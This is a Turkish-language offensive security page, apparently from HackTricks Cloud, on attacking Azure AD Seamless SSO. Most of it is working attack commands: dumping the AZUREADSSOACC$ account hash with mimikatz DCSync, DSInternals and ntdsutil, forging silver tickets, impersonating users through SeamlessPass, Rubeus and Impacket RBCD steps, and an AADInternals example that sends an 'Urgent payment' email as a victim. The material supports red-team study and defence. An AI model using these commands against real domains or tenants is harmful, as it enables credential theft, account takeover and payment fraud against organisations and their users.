Az - Seamless SSO
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
Belgelerden: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO), kullanıcıları kurumsal ağınıza bağlı kurumsal cihazlarında otomatik olarak oturum açtırır. Etkinleştirildiğinde, kullanıcıların Azure AD’ye oturum açmak için şifrelerini girmeleri gerekmez ve genellikle kullanıcı adlarını bile girmeleri gerekmez. Bu özellik, kullanıcılarınıza ek bir yerel bileşen gerektirmeden bulut tabanlı uygulamalarınıza kolay erişim sağlar.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Temelde Azure AD Seamless SSO, kullanıcıları yerel bir alan bağlı PC’de oturum açtırır.
Hem PHS (Şifre Hash Senkronizasyonu) hem de PTA (Geçiş Kimlik Doğrulama) tarafından desteklenmektedir.
Masaüstü SSO, kimlik doğrulama için Kerberos kullanmaktadır. Yapılandırıldığında, Azure AD Connect, yerel AD’de AZUREADSSOACC$ adında bir bilgisayar hesabı oluşturur. AZUREADSSOACC$ hesabının şifresi, yapılandırma sırasında düz metin olarak Entra ID’ye gönderilir.
Kerberos biletleri, şifrenin NTHash (MD4) kullanılarak şifrelenir ve Entra ID, gönderilen şifreyi biletleri şifrelerini çözmek için kullanır.
Entra ID, Kerberos biletlerini kabul eden bir uç nokta (https://autologon.microsoftazuread-sso.com) sunar. Alan bağlı makinenin tarayıcısı, SSO için bu uç noktaya biletleri iletir.
Sayım
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
Pivoting: On-prem -> cloud
Warning
Bu saldırı hakkında bilmeniz gereken en önemli şey, Entra ID ile senkronize edilmiş bir kullanıcının TGT’sine veya belirli bir TGS’sine sahip olmanın, bulut kaynaklarına erişmek için yeterli olduğudur.
Bunun nedeni, kullanıcının buluta giriş yapmasını sağlayan bir bilet olmasıdır.
O TGS biletini elde etmek için, saldırganın aşağıdakilerden birine sahip olması gerekir:
- Kompromize olmuş bir kullanıcının TGS’si: Eğer bir kullanıcının
HTTP/autologon.microsoftazuread-sso.combiletine sahip oturumunu bellekte ele geçirirseniz, bulut kaynaklarına erişmek için bunu kullanabilirsiniz. - Kompromize olmuş bir kullanıcının TGT’si: Eğer birine sahip değilseniz ama kullanıcı ele geçirilmişse, birçok araçta uygulanan sahte TGT delegasyonu hilesini kullanarak bir tane elde edebilirsiniz, örneğin Kekeo ve Rubeus.
- Kompromize olmuş bir kullanıcının hash’i veya şifresi: SeamlessPass, bu bilgi ile etki alanı denetleyicisi ile iletişim kurarak TGT’yi ve ardından TGS’yi oluşturacaktır.
- Bir altın bilet: Eğer KRBTGT anahtarına sahipseniz, saldırıya uğramış kullanıcı için ihtiyaç duyduğunuz TGT’yi oluşturabilirsiniz.
- AZUREADSSOACC$ hesabı hash’i veya şifresi: Bu bilgi ve kullanıcının Güvenlik Tanımlayıcısı (SID) ile saldırı yapmak, bir hizmet bileti oluşturmak ve bulut ile kimlik doğrulamak mümkündür (önceki yöntemde olduğu gibi).
SeamlessPass
Bu blog yazısında açıklandığı gibi, önceki gereksinimlerden herhangi birine sahip olmak, SeamlessPass aracını kullanarak bulut kaynaklarına, ele geçirilmiş kullanıcı olarak veya AZUREADSSOACC$ hesabı hash’i veya şifresi varsa herhangi bir kullanıcı olarak erişmek için çok kolaydır.
Son olarak, TGT ile SeamlessPass aracını kullanmak mümkündür:
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
Daha fazla bilgi için Firefox’un seamless SSO ile çalışmasını sağlamak üzere bu blog yazısında bulunabilir.
AZUREADSSOACC$ hesabının hash’lerini alma
Kullanıcının AZUREADSSOACC$ şifresi asla değişmez. Bu nedenle, bir alan yöneticisi bu hesabın hash’ini ele geçirebilir ve ardından herhangi bir senkronize edilmiş on-prem kullanıcı ile Azure’a bağlanmak için gümüş biletler oluşturmak için kullanabilir:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Note
Mevcut bilgilerle, daha önce belirtildiği gibi, alanınızdaki herhangi bir kullanıcı için azure ve entraid token’ları almak üzere SeamlessPass aracını kullanabilirsiniz. Ayrıca,
AZUREADSSOACC$hesabı yerine taklit etmek istediğiniz kurbanın şifresinin hash’ini almak için önceki teknikleri (ve diğerlerini) de kullanabilirsiniz.
Silver Biletler Oluşturma
Hash ile artık silver biletler oluşturabilirsiniz:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Silver Ticket’leri Firefox ile Kullanma
Silver ticket’i kullanmak için aşağıdaki adımlar uygulanmalıdır:
- Tarayıcıyı Başlat: Mozilla Firefox başlatılmalıdır.
- Tarayıcıyı Yapılandır:
about:configsayfasına gidin.- network.negotiate-auth.trusted-uris için tercihi belirtilen değere ayarlayın:
https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com- Firefox
Ayarlar>Microsoft, iş ve okul hesapları için Windows tek oturum açmayı izin verseçeneğini arayın ve etkinleştirin.
- Web Uygulamasına Erişim:
- Kuruluşun AAD alanı ile entegre bir web uygulamasına gidin. Yaygın bir örnek login.microsoftonline.com ’dur.
- Kimlik Doğrulama Süreci:
- Giriş ekranında, kullanıcı adı girilmeli, şifre alanı boş bırakılmalıdır.
- Devam etmek için TAB veya ENTER tuşuna basın.
Warning
Bu MFA’yı atlamaz eğer kullanıcıda etkinse.
On-prem -> Cloud Kaynak Tabanlı Kısıtlı Delegasyon ile
Saldırıyı gerçekleştirmek için gereklidir:
WriteDACL/GenericWriteüzerindeAZUREADSSOACC$- Kontrol ettiğiniz bir bilgisayar hesabı (hash & şifre) - Bir tane oluşturabilirsiniz
- Adım 1 – Kendi bilgisayar hesabınızı ekleyin
ATTACKBOX$oluşturur ve SID/NTLM hash’ini yazdırır. Herhangi bir alan kullanıcısı bunu yapabilirken MachineAccountQuota > 0’dır.
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
- Adım 2 –
AZUREADSSOACC$üzerinde RBCD verin - Makinenizin SID’sinimsDS-AllowedToActOnBehalfOfOtherIdentityiçine yazar.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
- Adım 3 – Herhangi bir kullanıcı için (örneğin alice) bir TGS oluşturun
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
Artık TGS’yi taklit edilen kullanıcı olarak Azure kaynaklarına erişmek için kullanabilirsiniz.
Sadece bulut kullanıcıları için Kerberos biletleri oluşturma
Eğer Active Directory yöneticileri Azure AD Connect’e erişime sahipse, herhangi bir bulut kullanıcısı için SID ayarlayabilirler. Bu şekilde Kerberos biletleri sadece bulut kullanıcıları için de oluşturulabilir. Tek gereklilik, SID’nin uygun bir SID olmasıdır.
Caution
Sadece bulut yöneticisi kullanıcılarının SID’sini değiştirmek artık Microsoft tarafından engellenmiştir.
Bilgi için https://aadinternals.com/post/on-prem_admin/
Referanslar
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: I’m in your cloud, reading everyone’s emails - hacking Azure AD via Active Directory
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

